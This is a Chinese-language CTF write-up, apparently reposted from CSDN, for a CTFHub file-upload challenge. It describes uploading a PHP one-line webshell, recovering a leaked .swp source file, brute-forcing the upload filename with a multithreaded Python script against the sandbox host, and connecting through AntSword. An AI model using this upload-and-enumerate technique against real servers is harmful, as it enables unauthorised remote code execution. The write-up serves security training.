欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

[文件上传][源码泄露]--Web-Upload

程序员文章站 2022-05-09 21:42:03
首先上传一下一句话木马文件,发现没有过滤,但是无论如何我们都找不到那个文件地址,猜想可能有源码泄露通过目录扫描发现文件.index.php.swp,关于.swp格式文件是异常退出时linux生成的,具体可以百度之后访问后,我们得到这个文件,推荐用linux的vim打开,但是考虑到这道题比较简单,直接记事本吧,发现文件名的规则打个比方,就如上传的这个文件,那么的格式应该是url+20200826024904+(0-999的随机数)+.php知道这个规则后我写了个多线程的Python脚本,如果找...

首先上传一下一句话木马文件,发现没有过滤,但是无论如何我们都找不到那个文件地址,猜想可能有源码泄露
[文件上传][源码泄露]--Web-Upload

通过目录扫描发现文件.index.php.swp,关于.swp格式文件是异常退出时linux生成的,具体可以百度
[文件上传][源码泄露]--Web-Upload
之后访问后,我们得到这个文件,推荐用linux的vim打开,但是考虑到这道题比较简单,直接记事本吧,发现文件名的规则
[文件上传][源码泄露]--Web-Upload
打个比方,就如上传的这个文件,那么的格式应该是url+20200826024904+(0-999的随机数)+.php
[文件上传][源码泄露]--Web-Upload
知道这个规则后我写了个多线程的Python脚本,如果找到那个能访问的地址则输入其url

import time import threading import requests class wan(threading.Thread): def __init__(self, start, finish): threading.Thread.__init__(self) self.st = start
        self.ed = finish def run(self) -> None: for i in range(self.st, self.ed): url = 'http://challenge-e194e2eeb6d436d8.sandbox.ctfhub.com:10080/uploads/20200826024904' url += str(i) + '.php' r = requests.get(url) if r.status_code == 200: print(url) if __name__ == '__main__': st = 0 threads = [] for i in range(0, 6): t = wan(st, st+200) st += 200 threads.append(t) for i in threads: i.start() 

得到结果
[文件上传][源码泄露]--Web-Upload
之后利用蚁剑连接
[文件上传][源码泄露]--Web-Upload
得到flag
[文件上传][源码泄露]--Web-Upload

本文地址:https://blog.csdn.net/solitudi/article/details/108235956